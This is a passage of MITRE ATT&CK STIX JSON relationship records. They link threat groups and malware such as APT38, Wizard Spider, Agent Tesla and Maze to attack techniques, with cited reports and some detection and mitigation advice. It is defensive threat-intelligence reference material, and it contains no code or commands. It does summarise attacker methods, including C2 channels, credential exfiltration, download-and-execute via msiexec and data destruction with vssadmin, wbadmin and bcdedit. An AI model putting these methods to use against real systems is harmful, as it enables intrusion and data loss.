2018)","relationship_type":"uses","source_ref":"tool--7cd0bc75-055b-4098-a00e-83dc8beaff14","target_ref":"attack-pattern--09a60ea3-a8d1-4ae5-976e-5783248b72a4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--c516fa38-8bf4-4e8a-af64-09f6973825e6","created":"2024-01-17T20:07:24.255Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Kaspersky ToddyCat June 2022","description":"Dedola, G. (2022, June 21). APT ToddyCat. Retrieved January 3, 2024.","url":"https://securelist.com/toddycat/106799/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-04-05T21:31:10.573Z","description":"[Ninja](https://attack.mitre.org/software/S1100) has the ability to mimic legitimate services with customized HTTP URL paths and headers to hide malicious traffic.(Citation: Kaspersky ToddyCat June 2022)","relationship_type":"uses","source_ref":"malware--023254de-caaf-4a05-b2c7-e4e2f283f7a5","target_ref":"attack-pattern--c325b232-d5bc-4dde-a3ec-71f3db9e8adc","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--c51741a8-7c08-4d6e-9d6a-02da7cc8cc83","created":"2019-04-12T15:20:35.915Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"FireEye APT38 Oct 2018","description":"FireEye. (2018, October 03). APT38: Un-usual Suspects. Retrieved November 6, 2018.","url":"https://www.mandiant.com/sites/default/files/2021-09/rpt-apt38-2018-web_v5-1.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-26T16:33:33.991Z","description":"[APT38](https://attack.mitre.org/groups/G0082) has used DYEPACK.FOX to manipulate PDF data as it is accessed to remove traces of fraudulent SWIFT transactions from the data displayed to the end user.(Citation: FireEye APT38 Oct 2018)","relationship_type":"uses","source_ref":"intrusion-set--00f67a77-86a4-4adf-be26-1a54fc713340","target_ref":"attack-pattern--32ad5c86-2bcf-47d8-8fdc-d7f3d79a7490","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--c51d9123-7f7e-41e6-8cf7-7c7dc4170ca0","created":"2020-05-13T16:45:50.311Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"CrowdStrike Grim Spider May 2019","description":"John, E. and Carvey, H. (2019, May 30). Unraveling the Spiderweb: Timelining ATT&CK Artifacts Used by GRIM SPIDER. Retrieved May 12, 2020.","url":"https://www.crowdstrike.com/blog/timelining-grim-spiders-big-game-hunting-tactics/"},{"source_name":"Mandiant FIN12 Oct 2021","description":"Shilko, J., et al. (2021, October 7). FIN12: The Prolific Ransomware Intrusion Threat Actor That Has Aggressively Pursued Healthcare Targets. Retrieved June 15, 2023.","url":"https://www.mandiant.com/sites/default/files/2021-10/fin12-group-profile.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-12T14:30:20.664Z","description":"[Wizard Spider](https://attack.mitre.org/groups/G0102) has exfiltrated domain credentials and network enumeration information over command and control (C2) channels.(Citation: CrowdStrike Grim Spider May 2019)(Citation: Mandiant FIN12 Oct 2021)","relationship_type":"uses","source_ref":"intrusion-set--dd2d9ca6-505b-4860-a604-233685b802c7","target_ref":"attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c51dce73-f92b-4eaa-b00b-4466f3e3ae09","type":"relationship","created":"2021-04-13T19:29:21.144Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Secureworks BRONZE PRESIDENT December 2019","url":"https://www.secureworks.com/research/bronze-president-targets-ngos","description":"Counter Threat Unit Research Team. (2019, December 29). BRONZE PRESIDENT Targets NGOs. Retrieved April 13, 2021."}],"modified":"2021-04-13T19:29:21.144Z","description":"[Mustang Panda](https://attack.mitre.org/groups/G0129) used custom batch scripts to collect files automatically from a targeted system.(Citation: Secureworks BRONZE PRESIDENT December 2019)","relationship_type":"uses","source_ref":"intrusion-set--420ac20b-f2b9-42b8-aa1a-6d4b72895ca4","target_ref":"attack-pattern--30208d3e-0d6b-43c8-883e-44462a514619","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--c51de2e2-e36c-4716-b77a-7b35496049a3","created":"2023-09-26T18:37:41.291Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"MoustachedBouncer ESET August 2023","description":"Faou, M. (2023, August 10). MoustachedBouncer: Espionage against foreign diplomats in Belarus. Retrieved September 25, 2023.","url":"https://www.welivesecurity.com/en/eset-research/moustachedbouncer-espionage-against-foreign-diplomats-in-belarus/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-10-12T17:41:54.485Z","description":"[MoustachedBouncer](https://attack.mitre.org/groups/G1019) has used plugins to save captured screenshots to `.\\AActdata\\` on an SMB share.(Citation: MoustachedBouncer ESET August 2023)","relationship_type":"uses","source_ref":"intrusion-set--7251b44b-6072-476c-b8d9-a6e32c355b28","target_ref":"attack-pattern--359b00ad-9425-420b-bba5-6de8d600cbc0","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--c5235912-5f32-4bf6-933c-a5acb63f1dab","created":"2022-06-16T19:28:49.048Z","x_mitre_version":"0.1","x_mitre_deprecated":false,"revoked":false,"description":"Monitor and analyze traffic patterns and packet inspection associated to protocol(s) that do not follow the expected protocol standards and traffic flows (e.g extraneous packets that do not belong to established flows, gratuitous or anomalous traffic patterns, anomalous syntax, or structure) from a trusted entity. Consider correlation with process monitoring and command line to detect anomalous processes execution and command line arguments associated to traffic patterns (e.g. monitor anomalies in use of files that do not normally initiate connections for respective protocol(s)).","modified":"2022-06-16T19:28:49.048Z","relationship_type":"detects","source_ref":"x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c","target_ref":"attack-pattern--9fa07bef-9c81-421e-a8e5-ad4366c5a925","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c52eb151-c8c5-45f1-984b-d99a12ca05cf","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://paper.seebug.org/papers/APT/APT_CyberCriminal_Campagin/2016/2016.02.29.Turbo_Campaign_Derusbi/TA_Fidelis_Turbo_1602_0.pdf","description":"Fidelis Cybersecurity. (2016, February 29). The Turbo Campaign, Featuring Derusbi for 64-bit Linux. Retrieved March 2, 2016.","source_name":"Fidelis Turbo"}],"modified":"2019-08-16T18:52:50.624Z","description":"[Derusbi](https://attack.mitre.org/software/S0021) binds to a raw socket on a random source port between 31800 and 31900 for C2.(Citation: Fidelis Turbo)","relationship_type":"uses","source_ref":"malware--94379dec-5c87-49db-b36e-66abc0b81344","target_ref":"attack-pattern--c21d5a77-d422-4a69-acd7-2c53c1faa34b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c5331cc2-89e2-40e2-a8b4-7a00198df492","type":"relationship","created":"2022-03-22T17:29:00.915Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Microsoft NICKEL December 2021","url":"https://www.microsoft.com/security/blog/2021/12/06/nickel-targeting-government-organizations-across-latin-america-and-europe","description":"MSTIC. (2021, December 6). NICKEL targeting government organizations across Latin America and Europe. Retrieved March 18, 2022."}],"modified":"2022-03-22T17:29:00.915Z","description":"[Neoichor](https://attack.mitre.org/software/S0691) can use the Internet Explorer (IE) COM interface to connect and receive commands from C2.(Citation: Microsoft NICKEL December 2021)","relationship_type":"uses","source_ref":"malware--4d7bf2ac-f953-4907-b114-be44dc174d67","target_ref":"attack-pattern--2f6b4ed7-fef1-44ba-bcb8-1b4beb610b64","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c535d995-bafd-47a3-9417-26e2e1080eb7","type":"relationship","created":"2020-01-24T15:51:52.478Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-01-24T15:51:52.478Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--61afc315-860c-4364-825d-0d62b2e91edc","target_ref":"attack-pattern--1ecb2399-e8ba-4f6b-8ba7-5c27d49405cf","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c53a4d1a-7d41-451e-a4f8-4f69ad27ab7d","type":"relationship","created":"2021-04-12T16:15:42.609Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"BlackBerry Bahamut","url":"https://www.blackberry.com/us/en/pdfviewer?file=/content/dam/blackberry-com/asset/enterprise/pdf/direct/report-spark-bahamut.pdf","description":"The BlackBerry Research & Intelligence Team. (2020, October). BAHAMUT: Hack-for-Hire Masters of Phishing, Fake News, and Fake Apps. Retrieved February 8, 2021."}],"modified":"2021-05-24T13:16:56.588Z","description":"[Windshift](https://attack.mitre.org/groups/G0112) has used WMI to collect information about target machines.(Citation: BlackBerry Bahamut)","relationship_type":"uses","source_ref":"intrusion-set--afec6dc3-a18e-4b62-b1a4-5510e1a498d1","target_ref":"attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c53e4807-05e4-46d2-9cb9-fd6301ac3738","type":"relationship","created":"2020-02-11T18:42:35.660Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-02-11T18:42:35.660Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--edf91964-b26e-4b4a-9600-ccacd7d7df24","target_ref":"attack-pattern--0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--c5401268-6b27-4088-9f2e-5439f68685d9","created":"2020-03-17T00:03:03.734Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Bitdefender Agent Tesla April 2020","description":"Arsene, L. (2020, April 21). Oil & Gas Spearphishing Campaigns Drop Agent Tesla Spyware in Advance of Historic OPEC+ Deal. Retrieved May 19, 2020.","url":"https://labs.bitdefender.com/2020/04/oil-gas-spearphishing-campaigns-drop-agent-tesla-spyware-in-advance-of-historic-opec-deal/"},{"source_name":"Cofense Agent Tesla","description":"James Arndt. (2023, February 21). The Rise of Agent Tesla: Understanding the Notorious Keylogger. Retrieved January 10, 2024.","url":"https://cofense.com/blog/the-rise-of-agent-tesla-understanding-the-notorious-keylogger/"},{"source_name":"Fortinet Agent Tesla June 2017","description":"Zhang, X. (2017, June 28). In-Depth Analysis of A New Variant of .NET Malware AgentTesla. Retrieved November 5, 2018.","url":"https://www.fortinet.com/blog/threat-research/in-depth-analysis-of-net-malware-javaupdtr.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-01-10T15:49:33.820Z","description":"[Agent Tesla](https://attack.mitre.org/software/S0331) has used SMTP for C2 communications.(Citation: Cofense Agent Tesla)(Citation: Fortinet Agent Tesla June 2017)(Citation: Bitdefender Agent Tesla April 2020)","relationship_type":"uses","source_ref":"malware--e7a5229f-05eb-440e-b982-9a6d2b2b87c8","target_ref":"attack-pattern--54b4c251-1f0e-4eba-ba6b-dbc7a6f6f06b","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c54b00ec-fdb7-483e-ad6e-be4fb1da0fd8","type":"relationship","created":"2020-10-20T15:42:48.379Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-10-17T15:36:59.533Z","description":"This technique cannot be easily mitigated with preventive controls since it is based on behaviors performed outside of the scope of enterprise defenses and controls.","relationship_type":"mitigates","source_ref":"course-of-action--78bb71be-92b4-46de-acd6-5f998fedf1cc","target_ref":"attack-pattern--79da0971-3147-4af6-a4f5-e8cd447cd795","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c54ccdc7-ed15-45c7-bfc9-f6e6e2b0d7f3","type":"relationship","created":"2020-01-30T16:36:51.584Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-01-30T16:36:51.584Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--e624264c-033a-424d-9fd7-fc9c3bbdb03e","target_ref":"attack-pattern--51a14c76-dd3b-440b-9c20-2bf91d25a814","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c54e60c1-728d-4211-b309-89f928ae7f0a","type":"relationship","created":"2020-05-18T17:31:39.490Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"McAfee Maze March 2020","url":"https://www.mcafee.com/blogs/other-blogs/mcafee-labs/ransomware-maze/","description":"Mundo, A. (2020, March 26). Ransomware Maze. Retrieved May 18, 2020."}],"modified":"2020-06-24T01:40:07.572Z","description":"[Maze](https://attack.mitre.org/software/S0449) has gathered all of the running system processes.(Citation: McAfee Maze March 2020)\t","relationship_type":"uses","source_ref":"malware--d9f7383c-95ec-4080-bbce-121c9384457b","target_ref":"attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--c5517f93-efd9-4fa5-83a4-8403ac85f831","created":"2024-08-14T14:30:56.912Z","revoked":false,"external_references":[{"source_name":"Microsoft Albanian Government Attacks September 2022","description":"MSTIC. (2022, September 8). Microsoft investigates Iranian attacks against the Albanian government. Retrieved August 6, 2024.","url":"https://www.microsoft.com/en-us/security/blog/2022/09/08/microsoft-investigates-iranian-attacks-against-the-albanian-government/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-14T14:30:56.912Z","description":"During [HomeLand Justice](https://attack.mitre.org/campaigns/C0038), threat actors used WMI to modify Windows Defender settings.(Citation: Microsoft Albanian Government Attacks September 2022)","relationship_type":"uses","source_ref":"campaign--7e21077d-2589-43a7-a5f9-490061289526","target_ref":"attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c551c942-a191-4fe9-81a3-cc795d7dea38","type":"relationship","created":"2019-04-18T20:25:31.123Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Rancor Unit42 June 2018","description":"Ash, B., et al. (2018, June 26). RANCOR: Targeted Attacks in South East Asia Using PLAINTEE and DDKONG Malware Families. Retrieved July 2, 2018.","url":"https://researchcenter.paloaltonetworks.com/2018/06/unit42-rancor-targeted-attacks-south-east-asia-using-plaintee-ddkong-malware-families/"}],"modified":"2020-03-17T14:38:38.680Z","description":"[Rancor](https://attack.mitre.org/groups/G0075) has used msiexec to download and execute malicious installer files over HTTP.(Citation: Rancor Unit42 June 2018)","relationship_type":"uses","source_ref":"intrusion-set--f40eb8ce-2a74-4e56-89a1-227021410142","target_ref":"attack-pattern--365be77f-fc0e-42ee-bac8-4faf806d9336","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c5535462-7d2c-4a97-a717-b29ea23e00cd","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Turla Mosquito Jan 2018","description":"ESET, et al. (2018, January). Diplomats in Eastern Europe bitten by a Turla mosquito. Retrieved July 3, 2018.","url":"https://www.welivesecurity.com/wp-content/uploads/2018/01/ESET_Turla_Mosquito.pdf"}],"modified":"2020-03-20T01:55:34.998Z","description":"[Mosquito](https://attack.mitre.org/software/S0256) executes cmd.exe and uses a pipe to read the results and send back the output to the C2 server.(Citation: ESET Turla Mosquito Jan 2018)","relationship_type":"uses","source_ref":"malware--92b55426-109f-4d93-899f-1833ce91ff90","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c553d54f-4dc1-482a-b6a9-bad21b92aafc","type":"relationship","created":"2022-03-30T14:26:51.841Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.841Z","description":"Monitor for newly constructed processes and/or command-lines involved in data destruction activity, such as vssadmin, wbadmin, and bcdedit.","source_ref":"x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077","target_ref":"attack-pattern--b80d107d-fa0d-4b60-9684-b0433e8bdba0","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--c5540ad5-b651-498f-abd4-fe521f1288f9","created":"2022-08-11T22:19:29.790Z","x_mitre_version":"0.1","external_references":[{"source_name":"Checkpoint MosesStaff Nov 2021","url":"https://research.checkpoint.com/2021/mosesstaff-targeting-israeli-companies/","description":"Checkpoint Research. (2021, November 15). Uncovering MosesStaff techniques: Ideology over Money. Retrieved August 11, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[PyDCrypt](https://attack.mitre.org/software/S1032) has probed victim machines with whoami and has collected the username from the machine.(Citation: Checkpoint MosesStaff Nov 2021)","modified":"2022-08-11T22:19:29.790Z","relationship_type":"uses","source_ref":"malware--2ac41e8b-4865-4ced-839d-78e7852c47f3","target_ref":"attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c5589abe-78a2-4d41-8926-33aa3fc3337b","type":"relationship","created":"2020-03-13T20:10:00.218Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-03-13T20:10:00.218Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--633a100c-b2c9-41bf-9be5-905c1b16c825","target_ref":"attack-pattern--aedfca76-3b30-4866-b2aa-0f1d7fd1e4b6","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--c55b71bd-89ee-411f-9bd9-d266e5c842a9","created":"2022-04-01T13:11:11.048Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Kubernetes RBAC","description":"Kubernetes. (n.d.). Role Based Access Control Good Practices. Retrieved March 8, 2023.","url":"https://kubernetes.io/docs/concepts/security/rbac-good-practices/"},{"source_name":"Kubernetes Hardening Guide","description":"National Security Agency, Cybersecurity and Infrastructure Security Agency. (2022, March). Kubernetes Hardening Guide. Retrieved April 1, 2022.","url":"https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-04-15T16:12:47.346Z","description":"Enforce authentication and role-based access control on the container API to restrict users to the least privileges required.(Citation: Kubernetes Hardening Guide) When using Kubernetes, avoid giving users wildcard permissions or adding users to the `system:masters` group, and use `RoleBindings` rather than `ClusterRoleBindings` to limit user privileges to specific namespaces.(Citation: Kubernetes RBAC)","relationship_type":"mitigates","source_ref":"course-of-action--93e7968a-9074-4eac-8ae9-9f5200ec3317","target_ref":"attack-pattern--f8ef3a62-3f44-40a4-abca-761ab235c436","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--c55f4782-5303-4ef2-9f5f-49dbe15c138e","created":"2021-01-07T20:53:11.210Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"FireEye NETWIRE March 2019","description":"Maniath, S. and Kadam P. (2019, March 19). Dissecting a NETWIRE Phishing Campaign's Usage of Process Hollowing. Retrieved January 7, 2021.","url":"https://www.mandiant.com/resources/blog/dissecting-netwire-phishing-campaigns-usage-process-hollowing"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-13T18:16:43.586Z","description":"[NETWIRE](https://attack.mitre.org/software/S0198) can create a scheduled task to establish persistence.(Citation: FireEye NETWIRE March 2019)","relationship_type":"uses","source_ref":"malware--2a70812b-f1ef-44db-8578-a496a227aef2","target_ref":"attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c55f88fd-0ec8-4c91-abce-d9e52d7616dc","type":"relationship","created":"2022-03-30T14:26:51.840Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.840Z","description":"Monitor for API calls that may create or modify system-level processes to repeatedly execute malicious payloads as part of persistence.","source_ref":"x-mitre-data-component--9bde2f9d-a695-4344-bfac-f2dce13d121e","target_ref":"attack-pattern--106c0cf6-bf73-4601-9aa8-0945c2715ec5","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--c560f682-0d21-4c9b-b35d-33aec2287117","created":"2017-12-14T16:46:06.044Z","x_mitre_version":"1.0","external_references":[{"source_name":"Cisco DNSMessenger March 2017","url":"http://blog.talosintelligence.com/2017/03/dnsmessenger.html","description":"Brumaghin, E. and Grady, C.. (2017, March 2). Covert Channels and Poor Decisions: The Tale of DNSMessenger. Retrieved March 8, 2017."},{"source_name":"FireEye FIN7 March 2017","url":"https://web.archive.org/web/20180808125108/https:/www.fireeye.com/blog/threat-research/2017/03/fin7_spear_phishing.html","description":"Miller, S., et al. (2017, March 7). FIN7 Spear Phishing Campaign Targets Personnel Involved in SEC Filings. Retrieved March 8, 2017."}],"x_mitre_deprecated":false,"revoked":false,"description":"[POWERSOURCE](https://attack.mitre.org/software/S0145) uses DNS TXT records for C2.(Citation: FireEye FIN7 March 2017)(Citation: Cisco DNSMessenger March 2017)","modified":"2022-07-20T20:06:44.724Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--17e919aa-4a49-445c-b103-dbb8df9e7351","target_ref":"attack-pattern--1996eef1-ced3-4d7f-bf94-33298cabbf72","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c5658d84-ba44-44ce-8174-49676e1426d1","type":"relationship","created":"2020-03-17T01:58:31.396Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 NOKKI Sept 2018","url":"https://researchcenter.paloaltonetworks.com/2018/09/unit42-new-konni-malware-attacking-eurasia-southeast-asia/","description":"Grunzweig, J., Lee, B. (2018, September 27). New KONNI Malware attacking Eurasia and Southeast Asia. Retrieved November 5, 2018."}],"modified":"2020-03-17T01:58:31.396Z","description":"[NOKKI](https://attack.mitre.org/software/S0353) has used HTTP for C2 communications.(Citation: Unit 42 NOKKI Sept 2018)","relationship_type":"uses","source_ref":"malware--071d5d65-83ec-4a55-acfa-be7d5f28ba9a","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c569059f-8a7d-4777-a111-d3ab62d178ca","type":"relationship","created":"2017-05-31T21:33:27.040Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"http://download.microsoft.com/download/4/4/C/44CDEF0E-7924-4787-A56A-16261691ACE3/Microsoft_Security_Intelligence_Report_Volume_19_English.pdf","description":"Anthe, C. et al. (2015, October 19). Microsoft Security Intelligence Report Volume 19. Retrieved December 23, 2015.","source_name":"Microsoft SIR Vol 19"}],"modified":"2019-12-20T14:26:01.128Z","description":"[APT28](https://attack.mitre.org/groups/G0007) uses a tool that captures information from air-gapped computers via an infected USB and transfers it to network-connected computer when the USB is inserted.(Citation: Microsoft SIR Vol 19)","relationship_type":"uses","source_ref":"intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c","target_ref":"attack-pattern--64196062-5210-42c3-9a02-563a0d1797ef","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--c5695fbd-768f-4652-a8f1-9ed41d8cbd60","created":"2024-03-05T19:04:06.081Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Mandiant Cutting Edge January 2024","description":"McLellan, T. et al. (2024, January 12). Cutting Edge: Suspected APT Targets Ivanti Connect Secure VPN in New Zero-Day Exploitation. Retrieved February 27, 2024.","url":"https://www.mandiant.com/resources/blog/suspected-apt-targets-ivanti-zero-day"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-03-05T19:05:40.583Z","description":"[WIREFIRE](https://attack.mitre.org/software/S1115) can AES encrypt process output sent from compromised devices to C2.(Citation: Mandiant Cutting Edge January 